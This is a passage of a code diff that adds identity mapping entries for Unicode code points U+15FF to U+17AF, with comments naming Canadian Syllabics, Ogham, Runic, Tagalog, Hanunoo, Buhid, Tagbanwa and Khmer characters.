+ ["\u15FF", "\u15FF"], /* CANADIAN SYLLABICS CARRIER KKI */
+ ["\u1600", "\u1600"], /* CANADIAN SYLLABICS CARRIER KKA */
+ ["\u1601", "\u1601"], /* CANADIAN SYLLABICS CARRIER KK */
+ ["\u1602", "\u1602"], /* CANADIAN SYLLABICS CARRIER NU */
+ ["\u1603", "\u1603"], /* CANADIAN SYLLABICS CARRIER NO */
+ ["\u1604", "\u1604"], /* CANADIAN SYLLABICS CARRIER NE */
+ ["\u1605", "\u1605"], /* CANADIAN SYLLABICS CARRIER NEE */
+ ["\u1606", "\u1606"], /* CANADIAN SYLLABICS CARRIER NI */
+ ["\u1607", "\u1607"], /* CANADIAN SYLLABICS CARRIER NA */
+ ["\u1608", "\u1608"], /* CANADIAN SYLLABICS CARRIER MU */
+ ["\u1609", "\u1609"], /* CANADIAN SYLLABICS CARRIER MO */
+ ["\u160A", "\u160A"], /* CANADIAN SYLLABICS CARRIER ME */
+ ["\u160B", "\u160B"], /* CANADIAN SYLLABICS CARRIER MEE */
+ ["\u160C", "\u160C"], /* CANADIAN SYLLABICS CARRIER MI */
+ ["\u160D", "\u160D"], /* CANADIAN SYLLABICS CARRIER MA */
+ ["\u160E", "\u160E"], /* CANADIAN SYLLABICS CARRIER YU */
+ ["\u160F", "\u160F"], /* CANADIAN SYLLABICS CARRIER YO */
+ ["\u1610", "\u1610"], /* CANADIAN SYLLABICS CARRIER YE */
+ ["\u1611", "\u1611"], /* CANADIAN SYLLABICS CARRIER YEE */
+ ["\u1612", "\u1612"], /* CANADIAN SYLLABICS CARRIER YI */
+ ["\u1613", "\u1613"], /* CANADIAN SYLLABICS CARRIER YA */
+ ["\u1614", "\u1614"], /* CANADIAN SYLLABICS CARRIER JU */
+ ["\u1615", "\u1615"], /* CANADIAN SYLLABICS SAYISI JU */
+ ["\u1616", "\u1616"], /* CANADIAN SYLLABICS CARRIER JO */
+ ["\u1617", "\u1617"], /* CANADIAN SYLLABICS CARRIER JE */
+ ["\u1618", "\u1618"], /* CANADIAN SYLLABICS CARRIER JEE */
+ ["\u1619", "\u1619"], /* CANADIAN SYLLABICS CARRIER JI */
+ ["\u161A", "\u161A"], /* CANADIAN SYLLABICS SAYISI JI */
+ ["\u161B", "\u161B"], /* CANADIAN SYLLABICS CARRIER JA */
+ ["\u161C", "\u161C"], /* CANADIAN SYLLABICS CARRIER JJU */
+ ["\u161D", "\u161D"], /* CANADIAN SYLLABICS CARRIER JJO */
+ ["\u161E", "\u161E"], /* CANADIAN SYLLABICS CARRIER JJE */
+ ["\u161F", "\u161F"], /* CANADIAN SYLLABICS CARRIER JJEE */
+ ["\u1620", "\u1620"], /* CANADIAN SYLLABICS CARRIER JJI */
+ ["\u1621", "\u1621"], /* CANADIAN SYLLABICS CARRIER JJA */
+ ["\u1622", "\u1622"], /* CANADIAN SYLLABICS CARRIER LU */
+ ["\u1623", "\u1623"], /* CANADIAN SYLLABICS CARRIER LO */
+ ["\u1624", "\u1624"], /* CANADIAN SYLLABICS CARRIER LE */
+ ["\u1625", "\u1625"], /* CANADIAN SYLLABICS CARRIER LEE */
+ ["\u1626", "\u1626"], /* CANADIAN SYLLABICS CARRIER LI */
+ ["\u1627", "\u1627"], /* CANADIAN SYLLABICS CARRIER LA */
+ ["\u1628", "\u1628"], /* CANADIAN SYLLABICS CARRIER DLU */
+ ["\u1629", "\u1629"], /* CANADIAN SYLLABICS CARRIER DLO */
+ ["\u162A", "\u162A"], /* CANADIAN SYLLABICS CARRIER DLE */
+ ["\u162B", "\u162B"], /* CANADIAN SYLLABICS CARRIER DLEE */
+ ["\u162C", "\u162C"], /* CANADIAN SYLLABICS CARRIER DLI */
+ ["\u162D", "\u162D"], /* CANADIAN SYLLABICS CARRIER DLA */
+ ["\u162E", "\u162E"], /* CANADIAN SYLLABICS CARRIER LHU */
+ ["\u162F", "\u162F"], /* CANADIAN SYLLABICS CARRIER LHO */
+ ["\u1630", "\u1630"], /* CANADIAN SYLLABICS CARRIER LHE */
+ ["\u1631", "\u1631"], /* CANADIAN SYLLABICS CARRIER LHEE */
+ ["\u1632", "\u1632"], /* CANADIAN SYLLABICS CARRIER LHI */
+ ["\u1633", "\u1633"], /* CANADIAN SYLLABICS CARRIER LHA */
+ ["\u1634", "\u1634"], /* CANADIAN SYLLABICS CARRIER TLHU */
+ ["\u1635", "\u1635"], /* CANADIAN SYLLABICS CARRIER TLHO */
+ ["\u1636", "\u1636"], /* CANADIAN SYLLABICS CARRIER TLHE */
+ ["\u1637", "\u1637"], /* CANADIAN SYLLABICS CARRIER TLHEE */
+ ["\u1638", "\u1638"], /* CANADIAN SYLLABICS CARRIER TLHI */
+ ["\u1639", "\u1639"], /* CANADIAN SYLLABICS CARRIER TLHA */
+ ["\u163A", "\u163A"], /* CANADIAN SYLLABICS CARRIER TLU */
+ ["\u163B", "\u163B"], /* CANADIAN SYLLABICS CARRIER TLO */
+ ["\u163C", "\u163C"], /* CANADIAN SYLLABICS CARRIER TLE */
+ ["\u163D", "\u163D"], /* CANADIAN SYLLABICS CARRIER TLEE */
+ ["\u163E", "\u163E"], /* CANADIAN SYLLABICS CARRIER TLI */
+ ["\u163F", "\u163F"], /* CANADIAN SYLLABICS CARRIER TLA */
+ ["\u1640", "\u1640"], /* CANADIAN SYLLABICS CARRIER ZU */
+ ["\u1641", "\u1641"], /* CANADIAN SYLLABICS CARRIER ZO */
+ ["\u1642", "\u1642"], /* CANADIAN SYLLABICS CARRIER ZE */
+ ["\u1643", "\u1643"], /* CANADIAN SYLLABICS CARRIER ZEE */
+ ["\u1644", "\u1644"], /* CANADIAN SYLLABICS CARRIER ZI */
+ ["\u1645", "\u1645"], /* CANADIAN SYLLABICS CARRIER ZA */
+ ["\u1646", "\u1646"], /* CANADIAN SYLLABICS CARRIER Z */
+ ["\u1647", "\u1647"], /* CANADIAN SYLLABICS CARRIER INITIAL Z */
+ ["\u1648", "\u1648"], /* CANADIAN SYLLABICS CARRIER DZU */
+ ["\u1649", "\u1649"], /* CANADIAN SYLLABICS CARRIER DZO */
+ ["\u164A", "\u164A"], /* CANADIAN SYLLABICS CARRIER DZE */
+ ["\u164B", "\u164B"], /* CANADIAN SYLLABICS CARRIER DZEE */
+ ["\u164C", "\u164C"], /* CANADIAN SYLLABICS CARRIER DZI */
+ ["\u164D", "\u164D"], /* CANADIAN SYLLABICS CARRIER DZA */
+ ["\u164E", "\u164E"], /* CANADIAN SYLLABICS CARRIER SU */
+ ["\u164F", "\u164F"], /* CANADIAN SYLLABICS CARRIER SO */
+ ["\u1650", "\u1650"], /* CANADIAN SYLLABICS CARRIER SE */
+ ["\u1651", "\u1651"], /* CANADIAN SYLLABICS CARRIER SEE */
+ ["\u1652", "\u1652"], /* CANADIAN SYLLABICS CARRIER SI */
+ ["\u1653", "\u1653"], /* CANADIAN SYLLABICS CARRIER SA */
+ ["\u1654", "\u1654"], /* CANADIAN SYLLABICS CARRIER SHU */
+ ["\u1655", "\u1655"], /* CANADIAN SYLLABICS CARRIER SHO */
+ ["\u1656", "\u1656"], /* CANADIAN SYLLABICS CARRIER SHE */
+ ["\u1657", "\u1657"], /* CANADIAN SYLLABICS CARRIER SHEE */
+ ["\u1658", "\u1658"], /* CANADIAN SYLLABICS CARRIER SHI */
+ ["\u1659", "\u1659"], /* CANADIAN SYLLABICS CARRIER SHA */
+ ["\u165A", "\u165A"], /* CANADIAN SYLLABICS CARRIER SH */
+ ["\u165B", "\u165B"], /* CANADIAN SYLLABICS CARRIER TSU */
+ ["\u165C", "\u165C"], /* CANADIAN SYLLABICS CARRIER TSO */
+ ["\u165D", "\u165D"], /* CANADIAN SYLLABICS CARRIER TSE */
+ ["\u165E", "\u165E"], /* CANADIAN SYLLABICS CARRIER TSEE */
+ ["\u165F", "\u165F"], /* CANADIAN SYLLABICS CARRIER TSI */
+ ["\u1660", "\u1660"], /* CANADIAN SYLLABICS CARRIER TSA */
+ ["\u1661", "\u1661"], /* CANADIAN SYLLABICS CARRIER CHU */
+ ["\u1662", "\u1662"], /* CANADIAN SYLLABICS CARRIER CHO */
+ ["\u1663", "\u1663"], /* CANADIAN SYLLABICS CARRIER CHE */
+ ["\u1664", "\u1664"], /* CANADIAN SYLLABICS CARRIER CHEE */
+ ["\u1665", "\u1665"], /* CANADIAN SYLLABICS CARRIER CHI */
+ ["\u1666", "\u1666"], /* CANADIAN SYLLABICS CARRIER CHA */
+ ["\u1667", "\u1667"], /* CANADIAN SYLLABICS CARRIER TTSU */
+ ["\u1668", "\u1668"], /* CANADIAN SYLLABICS CARRIER TTSO */
+ ["\u1669", "\u1669"], /* CANADIAN SYLLABICS CARRIER TTSE */
+ ["\u166A", "\u166A"], /* CANADIAN SYLLABICS CARRIER TTSEE */
+ ["\u166B", "\u166B"], /* CANADIAN SYLLABICS CARRIER TTSI */
+ ["\u166C", "\u166C"], /* CANADIAN SYLLABICS CARRIER TTSA */
+ ["\u166D", "\u166D"], /* CANADIAN SYLLABICS CHI SIGN */
+ ["\u166E", "\u166E"], /* CANADIAN SYLLABICS FULL STOP */
+ ["\u166F", "\u166F"], /* CANADIAN SYLLABICS QAI */
+ ["\u1670", "\u1670"], /* CANADIAN SYLLABICS NGAI */
+ ["\u1671", "\u1671"], /* CANADIAN SYLLABICS NNGI */
+ ["\u1672", "\u1672"], /* CANADIAN SYLLABICS NNGII */
+ ["\u1673", "\u1673"], /* CANADIAN SYLLABICS NNGO */
+ ["\u1674", "\u1674"], /* CANADIAN SYLLABICS NNGOO */
+ ["\u1675", "\u1675"], /* CANADIAN SYLLABICS NNGA */
+ ["\u1676", "\u1676"], /* CANADIAN SYLLABICS NNGAA */
+ ["\u1677", "\u1677"], /* CANADIAN SYLLABICS WOODS-CREE THWEE */
+ ["\u1678", "\u1678"], /* CANADIAN SYLLABICS WOODS-CREE THWI */
+ ["\u1679", "\u1679"], /* CANADIAN SYLLABICS WOODS-CREE THWII */
+ ["\u167A", "\u167A"], /* CANADIAN SYLLABICS WOODS-CREE THWO */
+ ["\u167B", "\u167B"], /* CANADIAN SYLLABICS WOODS-CREE THWOO */
+ ["\u167C", "\u167C"], /* CANADIAN SYLLABICS WOODS-CREE THWA */
+ ["\u167D", "\u167D"], /* CANADIAN SYLLABICS WOODS-CREE THWAA */
+ ["\u167E", "\u167E"], /* CANADIAN SYLLABICS WOODS-CREE FINAL TH */
+ ["\u167F", "\u167F"], /* CANADIAN SYLLABICS BLACKFOOT W */
+ ["\u1680", "\u1680"], /* OGHAM SPACE MARK */
+ ["\u1681", "\u1681"], /* OGHAM LETTER BEITH */
+ ["\u1682", "\u1682"], /* OGHAM LETTER LUIS */
+ ["\u1683", "\u1683"], /* OGHAM LETTER FEARN */
+ ["\u1684", "\u1684"], /* OGHAM LETTER SAIL */
+ ["\u1685", "\u1685"], /* OGHAM LETTER NION */
+ ["\u1686", "\u1686"], /* OGHAM LETTER UATH */
+ ["\u1687", "\u1687"], /* OGHAM LETTER DAIR */
+ ["\u1688", "\u1688"], /* OGHAM LETTER TINNE */
+ ["\u1689", "\u1689"], /* OGHAM LETTER COLL */
+ ["\u168A", "\u168A"], /* OGHAM LETTER CEIRT */
+ ["\u168B", "\u168B"], /* OGHAM LETTER MUIN */
+ ["\u168C", "\u168C"], /* OGHAM LETTER GORT */
+ ["\u168D", "\u168D"], /* OGHAM LETTER NGEADAL */
+ ["\u168E", "\u168E"], /* OGHAM LETTER STRAIF */
+ ["\u168F", "\u168F"], /* OGHAM LETTER RUIS */
+ ["\u1690", "\u1690"], /* OGHAM LETTER AILM */
+ ["\u1691", "\u1691"], /* OGHAM LETTER ONN */
+ ["\u1692", "\u1692"], /* OGHAM LETTER UR */
+ ["\u1693", "\u1693"], /* OGHAM LETTER EADHADH */
+ ["\u1694", "\u1694"], /* OGHAM LETTER IODHADH */
+ ["\u1695", "\u1695"], /* OGHAM LETTER EABHADH */
+ ["\u1696", "\u1696"], /* OGHAM LETTER OR */
+ ["\u1697", "\u1697"], /* OGHAM LETTER UILLEANN */
+ ["\u1698", "\u1698"], /* OGHAM LETTER IFIN */
+ ["\u1699", "\u1699"], /* OGHAM LETTER EAMHANCHOLL */
+ ["\u169A", "\u169A"], /* OGHAM LETTER PEITH */
+ ["\u169B", "\u169B"], /* OGHAM FEATHER MARK */
+ ["\u169C", "\u169C"], /* OGHAM REVERSED FEATHER MARK */
+ ["\u169D", "\u169D"],
+ ["\u169E", "\u169E"],
+ ["\u169F", "\u169F"],
+ ["\u16A0", "\u16A0"], /* RUNIC LETTER FEHU FEOH FE F */
+ ["\u16A1", "\u16A1"], /* RUNIC LETTER V */
+ ["\u16A2", "\u16A2"], /* RUNIC LETTER URUZ UR U */
+ ["\u16A3", "\u16A3"], /* RUNIC LETTER YR */
+ ["\u16A4", "\u16A4"], /* RUNIC LETTER Y */
+ ["\u16A5", "\u16A5"], /* RUNIC LETTER W */
+ ["\u16A6", "\u16A6"], /* RUNIC LETTER THURISAZ THURS THORN */
+ ["\u16A7", "\u16A7"], /* RUNIC LETTER ETH */
+ ["\u16A8", "\u16A8"], /* RUNIC LETTER ANSUZ A */
+ ["\u16A9", "\u16A9"], /* RUNIC LETTER OS O */
+ ["\u16AA", "\u16AA"], /* RUNIC LETTER AC A */
+ ["\u16AB", "\u16AB"], /* RUNIC LETTER AESC */
+ ["\u16AC", "\u16AC"], /* RUNIC LETTER LONG-BRANCH-OSS O */
+ ["\u16AD", "\u16AD"], /* RUNIC LETTER SHORT-TWIG-OSS O */
+ ["\u16AE", "\u16AE"], /* RUNIC LETTER O */
+ ["\u16AF", "\u16AF"], /* RUNIC LETTER OE */
+ ["\u16B0", "\u16B0"], /* RUNIC LETTER ON */
+ ["\u16B1", "\u16B1"], /* RUNIC LETTER RAIDO RAD REID R */
+ ["\u16B2", "\u16B2"], /* RUNIC LETTER KAUNA */
+ ["\u16B3", "\u16B3"], /* RUNIC LETTER CEN */
+ ["\u16B4", "\u16B4"], /* RUNIC LETTER KAUN K */
+ ["\u16B5", "\u16B5"], /* RUNIC LETTER G */
+ ["\u16B6", "\u16B6"], /* RUNIC LETTER ENG */
+ ["\u16B7", "\u16B7"], /* RUNIC LETTER GEBO GYFU G */
+ ["\u16B8", "\u16B8"], /* RUNIC LETTER GAR */
+ ["\u16B9", "\u16B9"], /* RUNIC LETTER WUNJO WYNN W */
+ ["\u16BA", "\u16BA"], /* RUNIC LETTER HAGLAZ H */
+ ["\u16BB", "\u16BB"], /* RUNIC LETTER HAEGL H */
+ ["\u16BC", "\u16BC"], /* RUNIC LETTER LONG-BRANCH-HAGALL H */
+ ["\u16BD", "\u16BD"], /* RUNIC LETTER SHORT-TWIG-HAGALL H */
+ ["\u16BE", "\u16BE"], /* RUNIC LETTER NAUDIZ NYD NAUD N */
+ ["\u16BF", "\u16BF"], /* RUNIC LETTER SHORT-TWIG-NAUD N */
+ ["\u16C0", "\u16C0"], /* RUNIC LETTER DOTTED-N */
+ ["\u16C1", "\u16C1"], /* RUNIC LETTER ISAZ IS ISS I */
+ ["\u16C2", "\u16C2"], /* RUNIC LETTER E */
+ ["\u16C3", "\u16C3"], /* RUNIC LETTER JERAN J */
+ ["\u16C4", "\u16C4"], /* RUNIC LETTER GER */
+ ["\u16C5", "\u16C5"], /* RUNIC LETTER LONG-BRANCH-AR AE */
+ ["\u16C6", "\u16C6"], /* RUNIC LETTER SHORT-TWIG-AR A */
+ ["\u16C7", "\u16C7"], /* RUNIC LETTER IWAZ EOH */
+ ["\u16C8", "\u16C8"], /* RUNIC LETTER PERTHO PEORTH P */
+ ["\u16C9", "\u16C9"], /* RUNIC LETTER ALGIZ EOLHX */
+ ["\u16CA", "\u16CA"], /* RUNIC LETTER SOWILO S */
+ ["\u16CB", "\u16CB"], /* RUNIC LETTER SIGEL LONG-BRANCH-SOL S */
+ ["\u16CC", "\u16CC"], /* RUNIC LETTER SHORT-TWIG-SOL S */
+ ["\u16CD", "\u16CD"], /* RUNIC LETTER C */
+ ["\u16CE", "\u16CE"], /* RUNIC LETTER Z */
+ ["\u16CF", "\u16CF"], /* RUNIC LETTER TIWAZ TIR TYR T */
+ ["\u16D0", "\u16D0"], /* RUNIC LETTER SHORT-TWIG-TYR T */
+ ["\u16D1", "\u16D1"], /* RUNIC LETTER D */
+ ["\u16D2", "\u16D2"], /* RUNIC LETTER BERKANAN BEORC BJARKAN B */
+ ["\u16D3", "\u16D3"], /* RUNIC LETTER SHORT-TWIG-BJARKAN B */
+ ["\u16D4", "\u16D4"], /* RUNIC LETTER DOTTED-P */
+ ["\u16D5", "\u16D5"], /* RUNIC LETTER OPEN-P */
+ ["\u16D6", "\u16D6"], /* RUNIC LETTER EHWAZ EH E */
+ ["\u16D7", "\u16D7"], /* RUNIC LETTER MANNAZ MAN M */
+ ["\u16D8", "\u16D8"], /* RUNIC LETTER LONG-BRANCH-MADR M */
+ ["\u16D9", "\u16D9"], /* RUNIC LETTER SHORT-TWIG-MADR M */
+ ["\u16DA", "\u16DA"], /* RUNIC LETTER LAUKAZ LAGU LOGR L */
+ ["\u16DB", "\u16DB"], /* RUNIC LETTER DOTTED-L */
+ ["\u16DC", "\u16DC"], /* RUNIC LETTER INGWAZ */
+ ["\u16DD", "\u16DD"], /* RUNIC LETTER ING */
+ ["\u16DE", "\u16DE"], /* RUNIC LETTER DAGAZ DAEG D */
+ ["\u16DF", "\u16DF"], /* RUNIC LETTER OTHALAN ETHEL O */
+ ["\u16E0", "\u16E0"], /* RUNIC LETTER EAR */
+ ["\u16E1", "\u16E1"], /* RUNIC LETTER IOR */
+ ["\u16E2", "\u16E2"], /* RUNIC LETTER CWEORTH */
+ ["\u16E3", "\u16E3"], /* RUNIC LETTER CALC */
+ ["\u16E4", "\u16E4"], /* RUNIC LETTER CEALC */
+ ["\u16E5", "\u16E5"], /* RUNIC LETTER STAN */
+ ["\u16E6", "\u16E6"], /* RUNIC LETTER LONG-BRANCH-YR */
+ ["\u16E7", "\u16E7"], /* RUNIC LETTER SHORT-TWIG-YR */
+ ["\u16E8", "\u16E8"], /* RUNIC LETTER ICELANDIC-YR */
+ ["\u16E9", "\u16E9"], /* RUNIC LETTER Q */
+ ["\u16EA", "\u16EA"], /* RUNIC LETTER X */
+ ["\u16EB", "\u16EB"], /* RUNIC SINGLE PUNCTUATION */
+ ["\u16EC", "\u16EC"], /* RUNIC MULTIPLE PUNCTUATION */
+ ["\u16ED", "\u16ED"], /* RUNIC CROSS PUNCTUATION */
+ ["\u16EE", "\u16EE"], /* RUNIC ARLAUG SYMBOL */
+ ["\u16EF", "\u16EF"], /* RUNIC TVIMADUR SYMBOL */
+ ["\u16F0", "\u16F0"], /* RUNIC BELGTHOR SYMBOL */
+ ["\u16F1", "\u16F1"], /* RUNIC LETTER K */
+ ["\u16F2", "\u16F2"], /* RUNIC LETTER SH */
+ ["\u16F3", "\u16F3"], /* RUNIC LETTER OO */
+ ["\u16F4", "\u16F4"], /* RUNIC LETTER FRANKS CASKET OS */
+ ["\u16F5", "\u16F5"], /* RUNIC LETTER FRANKS CASKET IS */
+ ["\u16F6", "\u16F6"], /* RUNIC LETTER FRANKS CASKET EH */
+ ["\u16F7", "\u16F7"], /* RUNIC LETTER FRANKS CASKET AC */
+ ["\u16F8", "\u16F8"], /* RUNIC LETTER FRANKS CASKET AESC */
+ ["\u16F9", "\u16F9"],
+ ["\u16FA", "\u16FA"],
+ ["\u16FB", "\u16FB"],
+ ["\u16FC", "\u16FC"],
+ ["\u16FD", "\u16FD"],
+ ["\u16FE", "\u16FE"],
+ ["\u16FF", "\u16FF"],
+ ["\u1700", "\u1700"], /* TAGALOG LETTER A */
+ ["\u1701", "\u1701"], /* TAGALOG LETTER I */
+ ["\u1702", "\u1702"], /* TAGALOG LETTER U */
+ ["\u1703", "\u1703"], /* TAGALOG LETTER KA */
+ ["\u1704", "\u1704"], /* TAGALOG LETTER GA */
+ ["\u1705", "\u1705"], /* TAGALOG LETTER NGA */
+ ["\u1706", "\u1706"], /* TAGALOG LETTER TA */
+ ["\u1707", "\u1707"], /* TAGALOG LETTER DA */
+ ["\u1708", "\u1708"], /* TAGALOG LETTER NA */
+ ["\u1709", "\u1709"], /* TAGALOG LETTER PA */
+ ["\u170A", "\u170A"], /* TAGALOG LETTER BA */
+ ["\u170B", "\u170B"], /* TAGALOG LETTER MA */
+ ["\u170C", "\u170C"], /* TAGALOG LETTER YA */
+ ["\u170D", "\u170D"], /* TAGALOG LETTER RA */
+ ["\u170E", "\u170E"], /* TAGALOG LETTER LA */
+ ["\u170F", "\u170F"], /* TAGALOG LETTER WA */
+ ["\u1710", "\u1710"], /* TAGALOG LETTER SA */
+ ["\u1711", "\u1711"], /* TAGALOG LETTER HA */
+ ["\u1712", "\u1712"], /* TAGALOG VOWEL SIGN I */
+ ["\u1713", "\u1713"], /* TAGALOG VOWEL SIGN U */
+ ["\u1714", "\u1714"], /* TAGALOG SIGN VIRAMA */
+ ["\u1715", "\u1715"], /* TAGALOG SIGN PAMUDPOD */
+ ["\u1716", "\u1716"],
+ ["\u1717", "\u1717"],
+ ["\u1718", "\u1718"],
+ ["\u1719", "\u1719"],
+ ["\u171A", "\u171A"],
+ ["\u171B", "\u171B"],
+ ["\u171C", "\u171C"],
+ ["\u171D", "\u171D"],
+ ["\u171E", "\u171E"],
+ ["\u171F", "\u171F"], /* TAGALOG LETTER ARCHAIC RA */
+ ["\u1720", "\u1720"], /* HANUNOO LETTER A */
+ ["\u1721", "\u1721"], /* HANUNOO LETTER I */
+ ["\u1722", "\u1722"], /* HANUNOO LETTER U */
+ ["\u1723", "\u1723"], /* HANUNOO LETTER KA */
+ ["\u1724", "\u1724"], /* HANUNOO LETTER GA */
+ ["\u1725", "\u1725"], /* HANUNOO LETTER NGA */
+ ["\u1726", "\u1726"], /* HANUNOO LETTER TA */
+ ["\u1727", "\u1727"], /* HANUNOO LETTER DA */
+ ["\u1728", "\u1728"], /* HANUNOO LETTER NA */
+ ["\u1729", "\u1729"], /* HANUNOO LETTER PA */
+ ["\u172A", "\u172A"], /* HANUNOO LETTER BA */
+ ["\u172B", "\u172B"], /* HANUNOO LETTER MA */
+ ["\u172C", "\u172C"], /* HANUNOO LETTER YA */
+ ["\u172D", "\u172D"], /* HANUNOO LETTER RA */
+ ["\u172E", "\u172E"], /* HANUNOO LETTER LA */
+ ["\u172F", "\u172F"], /* HANUNOO LETTER WA */
+ ["\u1730", "\u1730"], /* HANUNOO LETTER SA */
+ ["\u1731", "\u1731"], /* HANUNOO LETTER HA */
+ ["\u1732", "\u1732"], /* HANUNOO VOWEL SIGN I */
+ ["\u1733", "\u1733"], /* HANUNOO VOWEL SIGN U */
+ ["\u1734", "\u1734"], /* HANUNOO SIGN PAMUDPOD */
+ ["\u1735", "\u1735"], /* PHILIPPINE SINGLE PUNCTUATION */
+ ["\u1736", "\u1736"], /* PHILIPPINE DOUBLE PUNCTUATION */
+ ["\u1737", "\u1737"],
+ ["\u1738", "\u1738"],
+ ["\u1739", "\u1739"],
+ ["\u173A", "\u173A"],
+ ["\u173B", "\u173B"],
+ ["\u173C", "\u173C"],
+ ["\u173D", "\u173D"],
+ ["\u173E", "\u173E"],
+ ["\u173F", "\u173F"],
+ ["\u1740", "\u1740"], /* BUHID LETTER A */
+ ["\u1741", "\u1741"], /* BUHID LETTER I */
+ ["\u1742", "\u1742"], /* BUHID LETTER U */
+ ["\u1743", "\u1743"], /* BUHID LETTER KA */
+ ["\u1744", "\u1744"], /* BUHID LETTER GA */
+ ["\u1745", "\u1745"], /* BUHID LETTER NGA */
+ ["\u1746", "\u1746"], /* BUHID LETTER TA */
+ ["\u1747", "\u1747"], /* BUHID LETTER DA */
+ ["\u1748", "\u1748"], /* BUHID LETTER NA */
+ ["\u1749", "\u1749"], /* BUHID LETTER PA */
+ ["\u174A", "\u174A"], /* BUHID LETTER BA */
+ ["\u174B", "\u174B"], /* BUHID LETTER MA */
+ ["\u174C", "\u174C"], /* BUHID LETTER YA */
+ ["\u174D", "\u174D"], /* BUHID LETTER RA */
+ ["\u174E", "\u174E"], /* BUHID LETTER LA */
+ ["\u174F", "\u174F"], /* BUHID LETTER WA */
+ ["\u1750", "\u1750"], /* BUHID LETTER SA */
+ ["\u1751", "\u1751"], /* BUHID LETTER HA */
+ ["\u1752", "\u1752"], /* BUHID VOWEL SIGN I */
+ ["\u1753", "\u1753"], /* BUHID VOWEL SIGN U */
+ ["\u1754", "\u1754"],
+ ["\u1755", "\u1755"],
+ ["\u1756", "\u1756"],
+ ["\u1757", "\u1757"],
+ ["\u1758", "\u1758"],
+ ["\u1759", "\u1759"],
+ ["\u175A", "\u175A"],
+ ["\u175B", "\u175B"],
+ ["\u175C", "\u175C"],
+ ["\u175D", "\u175D"],
+ ["\u175E", "\u175E"],
+ ["\u175F", "\u175F"],
+ ["\u1760", "\u1760"], /* TAGBANWA LETTER A */
+ ["\u1761", "\u1761"], /* TAGBANWA LETTER I */
+ ["\u1762", "\u1762"], /* TAGBANWA LETTER U */
+ ["\u1763", "\u1763"], /* TAGBANWA LETTER KA */
+ ["\u1764", "\u1764"], /* TAGBANWA LETTER GA */
+ ["\u1765", "\u1765"], /* TAGBANWA LETTER NGA */
+ ["\u1766", "\u1766"], /* TAGBANWA LETTER TA */
+ ["\u1767", "\u1767"], /* TAGBANWA LETTER DA */
+ ["\u1768", "\u1768"], /* TAGBANWA LETTER NA */
+ ["\u1769", "\u1769"], /* TAGBANWA LETTER PA */
+ ["\u176A", "\u176A"], /* TAGBANWA LETTER BA */
+ ["\u176B", "\u176B"], /* TAGBANWA LETTER MA */
+ ["\u176C", "\u176C"], /* TAGBANWA LETTER YA */
+ ["\u176D", "\u176D"],
+ ["\u176E", "\u176E"], /* TAGBANWA LETTER LA */
+ ["\u176F", "\u176F"], /* TAGBANWA LETTER WA */
+ ["\u1770", "\u1770"], /* TAGBANWA LETTER SA */
+ ["\u1771", "\u1771"],
+ ["\u1772", "\u1772"], /* TAGBANWA VOWEL SIGN I */
+ ["\u1773", "\u1773"], /* TAGBANWA VOWEL SIGN U */
+ ["\u1774", "\u1774"],
+ ["\u1775", "\u1775"],
+ ["\u1776", "\u1776"],
+ ["\u1777", "\u1777"],
+ ["\u1778", "\u1778"],
+ ["\u1779", "\u1779"],
+ ["\u177A", "\u177A"],
+ ["\u177B", "\u177B"],
+ ["\u177C", "\u177C"],
+ ["\u177D", "\u177D"],
+ ["\u177E", "\u177E"],
+ ["\u177F", "\u177F"],
+ ["\u1780", "\u1780"], /* KHMER LETTER KA */
+ ["\u1781", "\u1781"], /* KHMER LETTER KHA */
+ ["\u1782", "\u1782"], /* KHMER LETTER KO */
+ ["\u1783", "\u1783"], /* KHMER LETTER KHO */
+ ["\u1784", "\u1784"], /* KHMER LETTER NGO */
+ ["\u1785", "\u1785"], /* KHMER LETTER CA */
+ ["\u1786", "\u1786"], /* KHMER LETTER CHA */
+ ["\u1787", "\u1787"], /* KHMER LETTER CO */
+ ["\u1788", "\u1788"], /* KHMER LETTER CHO */
+ ["\u1789", "\u1789"], /* KHMER LETTER NYO */
+ ["\u178A", "\u178A"], /* KHMER LETTER DA */
+ ["\u178B", "\u178B"], /* KHMER LETTER TTHA */
+ ["\u178C", "\u178C"], /* KHMER LETTER DO */
+ ["\u178D", "\u178D"], /* KHMER LETTER TTHO */
+ ["\u178E", "\u178E"], /* KHMER LETTER NNO */
+ ["\u178F", "\u178F"], /* KHMER LETTER TA */
+ ["\u1790", "\u1790"], /* KHMER LETTER THA */
+ ["\u1791", "\u1791"], /* KHMER LETTER TO */
+ ["\u1792", "\u1792"], /* KHMER LETTER THO */
+ ["\u1793", "\u1793"], /* KHMER LETTER NO */
+ ["\u1794", "\u1794"], /* KHMER LETTER BA */
+ ["\u1795", "\u1795"], /* KHMER LETTER PHA */
+ ["\u1796", "\u1796"], /* KHMER LETTER PO */
+ ["\u1797", "\u1797"], /* KHMER LETTER PHO */
+ ["\u1798", "\u1798"], /* KHMER LETTER MO */
+ ["\u1799", "\u1799"], /* KHMER LETTER YO */
+ ["\u179A", "\u179A"], /* KHMER LETTER RO */
+ ["\u179B", "\u179B"], /* KHMER LETTER LO */
+ ["\u179C", "\u179C"], /* KHMER LETTER VO */
+ ["\u179D", "\u179D"], /* KHMER LETTER SHA */
+ ["\u179E", "\u179E"], /* KHMER LETTER SSO */
+ ["\u179F", "\u179F"], /* KHMER LETTER SA */
+ ["\u17A0", "\u17A0"], /* KHMER LETTER HA */
+ ["\u17A1", "\u17A1"], /* KHMER LETTER LA */
+ ["\u17A2", "\u17A2"], /* KHMER LETTER QA */
+ ["\u17A3", "\u17A3"], /* KHMER INDEPENDENT VOWEL QAQ */
+ ["\u17A4", "\u17A4"], /* KHMER INDEPENDENT VOWEL QAA */
+ ["\u17A5", "\u17A5"], /* KHMER INDEPENDENT VOWEL QI */
+ ["\u17A6", "\u17A6"], /* KHMER INDEPENDENT VOWEL QII */
+ ["\u17A7", "\u17A7"], /* KHMER INDEPENDENT VOWEL QU */
+ ["\u17A8", "\u17A8"], /* KHMER INDEPENDENT VOWEL QUK */
+ ["\u17A9", "\u17A9"], /* KHMER INDEPENDENT VOWEL QUU */
+ ["\u17AA", "\u17AA"], /* KHMER INDEPENDENT VOWEL QUUV */
+ ["\u17AB", "\u17AB"], /* KHMER INDEPENDENT VOWEL RY */
+ ["\u17AC", "\u17AC"], /* KHMER INDEPENDENT VOWEL RYY */
+ ["\u17AD", "\u17AD"], /* KHMER INDEPENDENT VOWEL LY */
+ ["\u17AE", "\u17AE"], /* KHMER INDEPENDENT VOWEL LYY */
+ ["\u17AF", "\u17AF"], /* KHMER INDEPENDENT VOWEL QE */
